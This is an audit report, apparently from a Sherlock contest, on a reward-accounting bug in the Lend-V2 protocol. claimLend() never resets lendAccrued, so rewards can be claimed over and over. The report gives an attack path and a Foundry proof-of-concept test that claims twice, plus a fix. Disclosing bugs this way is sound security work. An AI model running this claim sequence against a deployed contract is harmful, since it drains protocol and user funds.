Fierce Eggplant Dalmatian

High

# `claimLend` function fails to update accrued lend leading to funds loss

## Title
`claimLend` function fails to update accrued lend leading to funds loss

## Summary
The `claimLend()` function fails to reset the `lendAccrued` mapping after tokens are distributed. This allows users to repeatedly claim previously accrued rewards, effectively stealing tokens from the protocol.

## Root Cause
The `lendAccrued` mapping is used to accumulate reward tokens for suppliers and borrowers based on interest index deltas. It is updated in the following functions:

1. [`distributeSupplierLend()`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/LendStorage.sol#L303-L335) function
  ```solidity
     function distributeSupplierLend(address lToken, address supplier) external onlyAuthorized {
        //...SNIP...
        // Update the accrued LEND for the account
        uint256 supplierAccrued = add_(lendAccrued[supplier], supplierDelta);
        lendAccrued[supplier] = supplierAccrued;
    }
  ```

2. [`distributeBorrowerLend()`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/LendStorage.sol#L342-L375) function
```solidity
    function distributeBorrowerLend(address lToken, address borrower) external onlyAuthorized {
        //...SNIP...
        uint256 borrowerAccrued = add_(lendAccrued[borrower], borrowerDelta);
        lendAccrued[borrower] = borrowerAccrued;
    }
```
These accrued tokens can later be claimed through the `claimLend()` function:

[`claimLend()`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L370-L408)

```solidity
  for (uint256 j = 0; j < holders.length;) {
      uint256 accrued = lendStorage.lendAccrued(holders[j]);
      if (accrued > 0) {
          grantLendInternal(holders[j], accrued);
      }
      unchecked { ++j; }
  }
```

Internally, [`grantLendInternal()`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L416-L425) transfers tokens to the user:
```solidity
  function grantLendInternal(address user, uint256 amount) internal returns (uint256) {
      address lendAddress = LendtrollerInterfaceV2(lendtroller).getLendAddress();
      uint256 lendBalance = IERC20(lendAddress).balanceOf(address(this));

      if (amount > 0 && amount <= lendBalance) {
  >>      // @audit Missing: lendAccrued[user] = 0;
          IERC20(lendAddress).safeTransfer(user, amount);
          return 0;
      }
      return amount;
  }
```
Nowhere in this claim flow is the `lendAccrued[user]` mapping reset to `0`, which means that users can repeatedly claim the same accrued amount.

### Internal Preconditions
1. User has accrued LEND rewards via `distributeSupplierLend()` or `distributeBorrowerLend()`.

### External Preconditions
1. User calls `claimLend()` via `CoreRouter`.

## Attack Path
1. User interacts with the protocol and accrues LEND rewards (e.g., by supplying or borrowing).
2. User calls `claimLend()`. The protocol transfers `lendAccrued[user]` tokens to the user but does not reset the mapping.
3. Because the mapping still holds the same value, the user can call `claimLend()` again and receive the same tokens repeatedly.
4. This can continue indefinitely or until the protocol's LEND token reserve is drained.

## Impact
Users can drain the protocolâ€™s LEND reward pool by repeatedly claiming the same rewards due to the stale `lendAccrued` mapping. This results in unlimited, illegitimate LEND token claims and loss of user and protocol funds.


## POC
In `test/TestLendAccural.t.sol`, add the following test
```solidity
    function test_claimLend_fails_to_update_accrued_lend_leading_to_fund_loss() public {
        // Supply tokens with two users
        uint256 supplyAmount = 1000e18;
        (, address lToken) = _supply(supplyAmount, user2);
        _supply(supplyAmount, user1);

        // Advance time
        vm.warp(block.timestamp + 1 days);
        vm.roll(block.number + 1000);

        // Get initial LEND token balance
        address lendToken = lendtroller.getLendAddress();
        uint256 initialBalance = IERC20(lendToken).balanceOf(user1);

        // Record accrued LEND before claiming
        vm.startPrank(user1);
        address[] memory holders = new address[](1);
        holders[0] = user1;
        LToken[] memory lTokenArray = new LToken[](1);
        lTokenArray[0] = LToken(lToken);

        // first claim
        coreRouter.claimLend(holders, lTokenArray, false, true);

        uint256 lendAccrued = lendStorage.lendAccrued(user1);

        uint256 currentBalance = IERC20(lendToken).balanceOf(user1);

        // Verify claimed amount matches accrued amount
        assertEq(currentBalance - initialBalance, lendAccrued);

        // second claim immediately
        coreRouter.claimLend(holders, lTokenArray, false, true);

        uint256 finalBalance = IERC20(lendToken).balanceOf(user1);

        // assert user has twice the balance
        assertEq(finalBalance, 2 * currentBalance);
        vm.stopPrank();
    }
```

## Mitigation
Reset the lend accrued of a user before transferring Lend tokens to the user